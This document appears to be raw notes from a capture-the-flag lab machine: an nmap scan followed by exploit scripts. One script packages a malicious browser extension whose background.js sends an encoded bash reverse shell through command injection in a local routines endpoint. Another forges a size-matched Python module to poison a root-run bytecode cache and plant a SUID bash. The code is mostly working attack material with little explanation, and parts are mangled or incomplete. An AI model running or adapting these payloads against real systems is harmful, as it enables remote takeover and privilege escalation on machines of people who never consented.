$ nmap -sC -sV -Pn 10.129.198.68 Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-17 12:07 JST Nmap scan report for 10.129.198.68 Host is up (0.095s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA) |_ 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-title: Browsed |_http-server-header: nginx/1.24.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 34.05 seconds
defcreate_shell_extension(my_ip, my_port="9001"): zip_buffer = io.BytesIO() # 1. The Reverse Shell One-Liner (Standard Bash) # We encode it to avoid breaking the JSON or the URL string raw_shell = f"bash -i >& /dev/tcp/{my_ip}/{my_port} 0>&1" b64_shell = base64.b64encode(raw_shell.encode()).decode() # This is the payload that will be executed on the server # It decodes itself and pipes into bash shell_payload = f"echo${{IFS}}{b64_shell}|base64${{IFS}}-d|bash"
# 3. background.js # We will try both the routine path and a potential root injection background = f''' const ip = "{my_ip}"; const payload = "{shell_payload}"; // We send it via a background loop to ensure it fires async function triggerShell() {{ const urls = [ `http://127.0.0.1:5000/routines/a[$(${{payload}})]`, `http://127.0.0.1:5000/routines/a';${{payload}} #` ]; for (const url of urls) {{ fetch(url, {{ mode: 'no-cors' }}); }} }} triggerShell(); '''
with zipfile.ZipFile(zip_buffer, 'a', zipfile.ZIP_DEFLATED) as zip_file: zip_file.writestr("manifest.json", manifest) zip_file.writestr("background.js", background)
with open("shell_exploit.zip", "wb") as f: f.write(zip_buffer.getvalue())
import os import py_compile import shutil import sys
ORIGINAL_SRC = "/opt/extensiontool/extension_utils.py" MALICIOUS_SRC = "/tmp/extension_utils.py" # Fixed the path to __pycache__ based on your previous 'ls' TARGET_PYC = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"
stat = os.stat(ORIGINAL_SRC) target_size = stat.st_size
# The payload that will execute as root payload = 'import os\ndef validate_manifest(path): os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"); return {}\ndef clean_temp_files(arg): pass\n'
# Padding with comments to match the exact size of the original file padding_needed = target_size - len(payload) payload += "#" * padding_needed
with open(MALICIOUS_SRC, "w") as f: f.write(payload)